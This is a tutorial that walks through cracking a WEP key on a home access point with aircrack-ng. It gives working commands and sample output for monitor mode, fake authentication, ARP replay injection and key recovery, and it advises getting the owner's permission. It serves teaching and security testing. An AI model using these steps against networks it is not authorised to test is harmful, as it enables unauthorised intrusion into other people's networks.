Tutorial: Simple WEP Crack

Introduction

This tutorial walks you though a very simple case to crack a WEP key.
It is intended to build your basic skills and get you familiar with the
concepts. It assumes you have a working wireless card with drivers
already patched for injection.

The basic concept behind this tutorial is using aireplay-ng replay an
ARP packet to generate new unique IVs. In turn, aircrack-ng uses the
new unique IVs to crack the WEP key. It is important to understand what
an ARP packet is. This "What is an ARP?" section provides the details.

For a start to finish newbie guide, see the Linux Newbie Guide.
Although this tutorial does not cover all the steps, it does attempt
to provide much more detailed examples of the steps to actually crack a
WEP key plus explain the reason and background of each step. For more
information on installing aircrck-ng, see Installing Aircrack-ng and for installing drivers see Installing Drivers.

It is recommended that you experiment with your home wireless access
point to get familiar with these ideas and techniques. If you do not own
a particular access point, please remember to get permission from the
owner prior to playing with it.

I would like to acknowledge and thank the Aircrack-ng team for producing such a great robust tool.

Please send me any constructive feedback, positive or negative.
Additional troubleshooting ideas and tips are especially welcome.

Assumptions

First, this solution assumes:

You are using drivers patched for injection. Use the injection test to confirm your card can inject prior to proceeding.

You are physically close enough to
send and receive access point packets. Remember that just because you
can receive packets from the access point does not mean you may will be
able to transmit packets to the AP. The wireless card strength is
typically less then the AP strength. So you have to be physically close
enough for your transmitted packets to reach and be received by the AP.
You should confirm that you can communicate with the specific AP by
following these instructions.

There is at least one wired or
wireless client connected to the network and they are active. The
reason is that this tutorial depends on receiving at least one ARP
request packet and if there are no active clients then there will never
be any ARP request packets.

You are using v0.9 of aircrack-ng. If you use a different version then some of the common options may have to be changed.

Ensure all of the above assumptions are true, otherwise the advice that
follows will not work. In the examples below, you will need to change
“ath0” to the interface name which is specific to your wireless card.

Equipment used

In this tutorial, here is what was used:

MAC address of PC running aircrack-ng suite: 00:0F:B5:88:AC:82

BSSID (MAC address of access point): 00:14:6C:7E:40:80

ESSID (Wireless network name): teddy

Access point channel: 9

Wireless interface: ath0

You should gather the equivalent information for the network you will be
working on. Then just change the values in the examples below to the
specific network.

Solution

Solution Overview

To crack the WEP key for an access point, we need to gather lots of
initialization vectors (IVs). Normal network traffic does not typically
generate these IVs very quickly. Theoretically, if you are patient,
you can gather sufficient IVs to crack the WEP key by simply listening
to the network traffic and saving them. Since none of us are patient,
we use a technique called injection to speed up the process. Injection
involves having the access point (AP) resend selected packets over and
over very rapidly. This allows us to capture a large number of IVs in a
short period of time.

Once we have captured a large number of IVs, we can use them to determine the WEP key.

Here are the basic steps we will be going through:

Start the wireless interface in monitor mode on the specific AP channel

Test the injection capability of the wireless device to the AP

Use aireplay-ng to do a fake authentication with the access point

Start airodump-ng on AP channel with a bssid filter to collect the new unique IVs

Start aireplay-ng in ARP request replay mode to inject packets

Run aircrack-ng to crack key using the IVs collected

Step 1 - Start the wireless interface in monitor mode on AP channel

The purpose of this step is to put your card into what is called monitor
mode. Monitor mode is mode whereby your card can listen to every
packet in the air. Normally your card will only “hear” packets
addressed to you. By hearing every packet, we can later select some for
injection. As well, only (there are some rare exceptions) monitor mode
allows you to inject packets. (Note: this procedure is different for
non-Atheros cards.)

First stop ath0 by entering:

airmon-ng stop ath0

The system responds:

Interface       Chipset         Driver

wifi0           Atheros         madwifi-ng
ath0            Atheros         madwifi-ng VAP (parent: wifi0) (VAP destroyed)

Enter “iwconfig” to ensure there are no other athX interfaces. It should look similar to this:

lo        no wireless extensions.

eth0      no wireless extensions.

wifi0     no wireless extensions.

If there are any remaining athX interfaces, then stop each one. When
you are finished, run “iwconfig” to ensure there are none left.

Now, enter the following command to start the wireless card on channel 9 in monitor mode:

airmon-ng start wifi0 9

Substitute the channel number that your AP runs on for “9” in the
command above. This is important. You must have your wireless card
locked to the AP channel for the following steps in this tutorial to
work correctly.

Note: In this command we use “wifi0” instead of our wireless interface
of “ath0”. This is because the madwifi-ng drivers are being used. For
other drivers, use the wireless interface name. Examples: “wlan0” or
“rausb0”.

The system will respond:

Interface       Chipset         Driver

wifi0           Atheros         madwifi-ng
ath0            Atheros         madwifi-ng VAP (parent: wifi0) (monitor mode enabled)

You will notice that “ath0” is reported above as being put into monitor mode.

To confirm the interface is properly setup, enter “iwconfig”.

The system will respond:

lo        no wireless extensions.

wifi0     no wireless extensions.

eth0      no wireless extensions.

ath0      IEEE 802.11g  ESSID:""  Nickname:""
Mode:Monitor  Frequency:2.452 GHz  Access Point: 00:0F:B5:88:AC:82
Bit Rate:0 kb/s   Tx-Power:18 dBm   Sensitivity=0/3
Retry:off   RTS thr:off   Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=0/94  Signal level=-95 dBm  Noise level=-95 dBm
Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
Tx excessive retries:0  Invalid misc:0   Missed beacon:0

In the response above, you can see that ath0 is in monitor mode, on the
2.452GHz frequency which is channel 9 and the Access Point shows the MAC
address of your wireless card. Please note that only the madwifi-ng
drivers show the MAC address of your wireless card, the other drivers do
not do this. So everything is good. It is important to confirm all
this information prior to proceeding, otherwise the following steps will
not work properly.

To match the frequency to the channel, check out: http://www.cisco.com/en/US/docs/wireless/technology/channel/deployment/guide/Channel.html#wp134132 . This will give you the frequency for each channel.

Step 2 - Test Wireless Device Packet Injection

The purpose of this step ensures that your card is within distance of your AP and can inject packets to it.

Enter:

aireplay-ng -9 -e teddy -a 00:14:6C:7E:40:80  ath0

Where:

-9 means injection test

-e teddy is the wireless network name

-a 00:14:6C:7E:40:80 is the access point MAC address

ath0 is the wireless interface name

The system should respond with:

09:23:35  Waiting for beacon frame (BSSID: 00:14:6C:7E:40:80) on channel 9
09:23:35  Trying broadcast probe requests...
09:23:35  Injection is working!
09:23:37  Found 1 AP

09:23:37  Trying directed probe requests...
09:23:37  00:14:6C:7E:40:80 - channel: 9 - 'teddy'
09:23:39  Ping (min/avg/max): 1.827ms/68.145ms/111.610ms Power: 33.73
09:23:39  30/30: 100%

The last line is important. Ideally it should say 100% or a very high
percentage. If it is low then you are too far away from the AP or too
close. If it is zero then injection is not working and you need to
patch your drivers or use different drivers.

See the injection test for more details.

Step 3 - Start airodump-ng to capture the IVs

The purpose of this step is to capture the IVs generated. This step
starts airodump-ng to capture the IVs from the specific access point.

Open another console session to capture the generated IVs. Then enter:

airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w output ath0

Where:

-c 9 is the channel for the wireless network

-

-bssid 00:14:6C:7E:40:80 is the access point MAC address. This eliminate extraneous traffic.

-w capture is file name prefix for the file which will contain the IVs.

ath0 is the interface name.

While the injection is taking place (later), the screen will look similar to this:

CH  9 ][ Elapsed: 8 mins ][ 2007-03-21 19:25

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID

00:14:6C:7E:40:80   42 100     5240   178307  338   9  54  WEP  WEP         teddy

BSSID              STATION            PWR  Lost  Packets  Probes

00:14:6C:7E:40:80  00:0F:B5:88:AC:82   42     0   183782

Step 4 - Use aireplay-ng to do a fake authentication with the access point

In order for an access point to accept a packet, the source MAC address
must already be associated. If the source MAC address you are injecting
is not associated then the AP ignores the packet and sends out a
“DeAuthentication” packet in cleartext. In this state, no new IVs are
created because the AP is ignoring all the injected packets.

The lack of association with the access point is the single biggest
reason why injection fails. Remember the golden rule: The MAC you use
for injection must be associated with the AP by either using fake
authentication or using a MAC from an already-associated client.

To associate with an access point, use fake authentication:

aireplay-ng -1 0 -e teddy -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0

Where:

-1 means fake authentication

0 reassociation timing in seconds

-e teddy is the wireless network name

-a 00:14:6C:7E:40:80 is the access point MAC address

-h 00:0F:B5:88:AC:82 is our card MAC address

ath0 is the wireless interface name

Success looks like:

18:18:20  Sending Authentication Request
18:18:20  Authentication successful
18:18:20  Sending Association Request
18:18:20  Association successful :-)

Or another variation for picky access points:

aireplay-ng -1 6000 -o 1 -q 10 -e teddy -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0

Where:

6000 - Reauthenticate every 6000 seconds. The long period also causes keep alive packets to be sent.

-o 1 - Send only one set of packets at a time. Default is multiple and this confuses some APs.

-q 10 - Send keep alive packets every 10 seconds.

Success looks like:

18:22:32  Sending Authentication Request
18:22:32  Authentication successful
18:22:32  Sending Association Request
18:22:32  Association successful :-)
18:22:42  Sending keep-alive packet
18:22:52  Sending keep-alive packet
# and so on.

Here is an example of what a failed authentication looks like:

8:28:02  Sending Authentication Request
18:28:02  Authentication successful
18:28:02  Sending Association Request
18:28:02  Association successful :-)
18:28:02  Got a deauthentication packet!
18:28:05  Sending Authentication Request
18:28:05  Authentication successful
18:28:05  Sending Association Request
18:28:10  Sending Authentication Request
18:28:10  Authentication successful
18:28:10  Sending Association Request

Notice the “Got a deauthentication packet” and the continuous retries
above. Do not proceed to the next step until you have the fake
authentication running correctly.

Troubleshooting Tips

Some access points are configured to
only allow selected MAC addresses to associate and connect. If this is
the case, you will not be able to successfully do fake authentication
unless you know one of the MAC addresses on the allowed list. If you
suspect this is the problem, use the following command while trying to
do fake authentication. Start another session and…

Run: tcpdump -n -vvv -s0 -e -i <interface name> | grep -i -E “(RA:<MAC address of your card>|Authentication|ssoc)”

You would then look for error messages.

If at any time you wish to confirm
you are properly associated is to use tcpdump and look at the packets.
Start another session and…

Run: “tcpdump -n -e -s0 -vvv -i ath0”

Here is a typical tcpdump error message you are looking for:

11:04:34.360700 314us BSSID:00:14:6c:7e:40:80 DA:00:0F:B5:88:AC:82 SA:00:14:6c:7e:40:80   DeAuthentication: Class 3 frame received from nonassociated station

Notice that the access point (00:14:6c:7e:40:80) is telling the source
(00:0F:B5:88:AC:82) you are not associated. Meaning, the AP will not
process or accept the injected packets.

If you want to select only the DeAuth packets with tcpdump then you can
use: “tcpdump -n -e -s0 -vvv -i ath0 | grep -i DeAuth”. You may need to
tweak the phrase “DeAuth” to pick out the exact packets you want.

Step 5 - Start aireplay-ng in ARP request replay mode

The purpose of this step is to start aireplay-ng in a mode which listens
for ARP requests then reinjects them back into the network. For an
explanation of ARP, see this PC Magazine page or Wikipedia.
The reason we select ARP request packets is because the AP will
normally rebroadcast them and generate a new IV. Again, this is our
objective, to obtain a large number of IVs in a short period of time.

Open another console session and enter:

aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0

It will start listening for ARP requests and when it hears one, aireplay-ng will immediately start to inject it. See the Generating ARPs section for tricks on generating ARPs if your screen says “got 0 ARP requests” after waiting a long time.

Here is what the screen looks like when ARP requests are being injected:

Saving ARP requests in replay_arp-0321-191525.cap
You should also start airodump-ng to capture replies.
Read 629399 packets (got 316283 ARP requests), sent 210955 packets...

You can confirm that you are injecting by checking your airodump-ng
screen. The data packets should be increasing rapidly. The “#/s”
should be a decent number. However, decent depends on a large variety
of factors. A typical range is 300 to 400 data packets per second. It
can as low as a 100/second and as high as a 500/second.

Troubleshooting Tips

If you receive a message similar to
“Got a deauth/disassoc packet. Is the source mac associated?”, this
means you have lost association with the AP. All your injected packets
will be ignored. You must return to the fake authentication step (Step
3) and successfully associate with the AP.

Step 6 - Run aircrack-ng to obtain the WEP key

The purpose of this step is to obtain the WEP key from the IVs gathered in the previous steps.

Note: For learning purposes, you should use a 64 bit WEP key on your AP
to speed up the cracking process. If this is the case, then you can
include “-n 64” to limit the checking of keys to 64 bits.

Two methods will be shown. It is recommended you try both for learning
purposes. By trying both methods, you will see quickly the PTW method
successfully determines the WEP key compared to the FMS/Korek method.
As a reminder, the PTW method only works successfully with arp
request/reply packets. Since this tutorial covers injection of ARP
request packets, you can properly use this method. The other
requirement is that you capture the full packet with airodump-ng.
Meaning, do not use the “-

-ivs” option.

Start another console session and enter:

aircrack-ng -b 00:14:6C:7E:40:80 output*.cap

Where:

-b 00:14:6C:7E:40:80 selects the one
access point we are interested in. This is optional since when we
originally captured the data, we applied a filter to only capture data
for this one AP.

output*.cap selects all files starting with “output” and ending in “.cap”.

To also use the FMS/Korek method, start another console session and enter:

aircrack-ng -K -b 00:14:6C:7E:40:80 output*.cap

Where:

-K invokes the FMS/Korek method

-b 00:14:6C:7E:40:80 selects the one
access point we are interested in. This is optional since when we
originally captured the data, we applied a filter to only capture data
for this one AP.

output*.cap selects all files starting with “output” and ending in “.cap”.

If you are using 1.0-rc1, add the option “-K” for the FMS/KoreK attack. (1.0-rc1 defaults to PTW.)

You can run this while generating packets. In a short time, the WEP key
will be calculated and presented. You will need approximately 250,000
IVs for 64 bit and 1,500,000 IVs for 128 bit keys. If you are using the
PTW attack, then you will need about 20,000 packets for 64-bit and
40,000 to 85,000 packets for 128 bit. These are very approximate and
there are many variables as to how many IVs you actually need to crack
the WEP key.

Here is what success looks like:

Aircrack-ng 0.9

KEY FOUND! [ 12:34:56:78:90 ]
Probability: 100%

Notice that in this case it took far less then the estimated 250,000 IVs
to crack the key. (For this example, the FMS/KoreK attack was used.)

General Troubleshooting

Be sure to read all the documentation on the Wiki for the various commands used in this tutorial.

See Tutorial: I am injecting but the IVs don't increase

Generating ARPs

In order for this tutorial to work, you must receive at least one ARP
packet. On your home network, here is an easy way to generate an ARP
packet. On a wired or wireless PC, ping a non-existent IP on your home LAN. A wired PC means a PC connected to your LAN via an ethernet cable. Lets say your home LAN address space is 192.168.1.1 through 192.168.1.254. Pick an IP
between 1 and 254 which is not assigned to a network device. For
example, if the IP 192.168.1.213 is not being used then “ping
192.168.1.213”. This will cause an ARP to be broadcast via your
wireless access point and in turn, this will kick off the reinjection of
packets by aireplay-ng.
